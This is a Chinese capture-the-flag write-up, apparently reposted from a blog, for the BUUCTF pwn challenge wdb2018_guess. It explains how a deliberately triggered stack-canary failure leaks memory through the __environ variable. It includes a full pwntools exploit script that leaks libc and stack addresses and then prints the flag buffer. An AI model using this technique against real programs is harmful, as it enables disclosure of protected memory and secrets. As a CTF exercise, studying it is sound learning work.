2025年[BUUCTF-pwn]——wdb2018_guess (environ环境变量)

科技前沿 • 2025-02-26 18:19 • 阅读 63

大家好，我是讯享网，很高兴认识大家。

[BUUCTF-pwn]——wdb2018_guess

这个漏洞叫什么来着, 好像是stack smash, 具体就是主动触发canary保护来达到自己的目的.

这道题最后我也有一个小疑问, 这个程序为什么会莫名其妙执行三次. 嘶!!!

一个常见的保护开启NX canary RELRO

讯享网

在IDA中看看, 那个buf就是我们要的flag
在这里插入图片描述

先主动触发一下canary看看会发送什么. 输出的是argv[0], 同时程序会再次执行,发现会重复执行三次.
在这里插入图片描述

思路

思路来了

利用主动触发canary保护, 调用___stack_chk_fail函数, leek出一个地址
找到对应的libc版本
在libc中保存了一个函数叫_environ，存的是当前进程的环境变量,通过_environ的地址得到_environ的值，从而得到环境变量地址，环境变量保存在栈中，所以通过栈内的偏移量，可以访问栈中任意变量, 当然也可以找到我们栈上的数据, 找到buf的地址
利用buf的地址打印flag

找到多长payload才可以泄露出我们想要的数据0x128

exploit

from pwn import * from LibcSearcher import * #p = process('./GUESS') p = remote('node3.buuoj.cn',27072) elf = ELF('./GUESS') puts_got = elf.got['puts'] p.sendlineafter('Please type your guessing flag','a'*0x128 + p64(puts_got)) p.recvuntil('stack smashing detected *: ') puts_addr = u64(p.recv(6).ljust(8,'\x00')) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') log.success('libc_base :' + hex(libc_base)) environ = libc_base + libc.dump('__environ') info('environ_addr=',hex(environ)) p.sendlineafter('Please type your guessing flag','a'*0x128 + p64(environ)) p.recvuntil('stack smashing detected *: ') buf_addr = u64(p.recv(6).ljust(8,'\x00')) - 0x168 log.success('flag_addr=',hex(buf_addr)) p.sendlineafter('Please type your guessing flag','a'*0x128 + p64(buf_addr)) p.interactive()

讯享网

2025年[BUUCTF-pwn]——wdb2018_guess (environ环境变量)

[BUUCTF-pwn]——wdb2018_guess

思路

exploit

相关推荐